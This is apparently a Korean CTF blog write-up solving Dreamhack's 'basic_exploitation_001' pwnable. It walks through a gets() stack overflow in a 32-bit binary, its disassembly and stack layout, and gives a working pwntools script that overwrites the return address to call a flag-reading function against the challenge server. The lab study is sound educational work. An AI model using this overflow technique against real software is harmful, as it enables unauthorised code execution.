War Game/Pwnable

[Dreamhack] basic_exploitation_001

GunP4ng 2024. 4. 30. 22:42

basic_exploitation_001 문제 풀이


1. 코드 확인 (취약점)

1. C 코드 확인

파일의 보호기법은 아래와 같다

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

 

파일을 실행하면 바로 입력을 받는 것을 알 수 있다.

 $ ./basic_exploitation_001 
aaaaaaaaaaaaaaaaaaaaaaaa

 

이제 C 코드를 확인해보자

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

 

 

void read_flag() {
    system("cat /flag");
}

flag 를 얻을 수 있는 read_flag() 함수가 있다

 

char buf[0x80];

gets(buf);

 

buf 는 0x80 (128) 의 크기인 것을 알 수 있다

하지만 gets 함수로 크기에 제한을 두지 않고 입력을 받고 있어 BOF 가 발생한다.

 

2. 어셈블리 확인

gdb 를 이용해서 main 함수의 어셈블리를 확인해보자

   0x080485cc <+0>:     push   ebp
   0x080485cd <+1>:     mov    ebp,esp					; 프롤로그
   0x080485cf <+3>:     add    esp,0xffffff80			; buf[0x80] (add esp, -0x80)
   0x080485d2 <+6>:     call   0x8048572 <initialize>
   0x080485d7 <+11>:    lea    eax,[ebp-0x80]			; buf = ebp-0x80
   0x080485da <+14>:    push   eax
   0x080485db <+15>:    call   0x80483d0 <gets@plt>		; gets(buf)
   0x080485e0 <+20>:    add    esp,0x4
   0x080485e3 <+23>:    mov    eax,0x0
   0x080485e8 <+28>:    leave  							; 에필로그
   0x080485e9 <+29>:    ret

buf 의 크기는 0x80 인 것을 알 수 있다.

 

print 명령어로 read_flag 함수의 주소를 가져오자

pwndbg> p read_flag
$1 = {<text variable, no debug info>} 0x80485b9 <read_flag>

read_flag 함수의 주소는 0x80485b9 인 것을 알 수 있다.

 

 

2. 페이로드 (Payload) 구성

1. 스택 프레임 구조

스텍 프레임 구조

buf 의 크기는 0x80 (128) 이다

SFP 는 32bit 이므로 4 byte 이다

 

buf 와 SFP 를 쓰레기값 (dummy) 로 채우고

RET 에 read_flag 함수의 주소를 넣으면

read_flag 함수가 실행되어 플래그가 출력될 것이다.

페이로드 구성

 

 

3. 페이로드 (Payload)

1. pwntools 코드 작성

from pwn import *

context.log_level='debug'
context(arch='i386', os='linux')

p = remote('host3.dreamhack.games', 16258)

flag = 0x080485b9

payload = b'A' * 0x80
payload += b'A' * 0x4
payload += p32(flag)

p.send(payload)

p.interactive()

pwntools 를 이용하여 코드를 작성하고 실행하면

 

$ 
DH{-------------------------------}

 

플래그를 획득할 수 있다.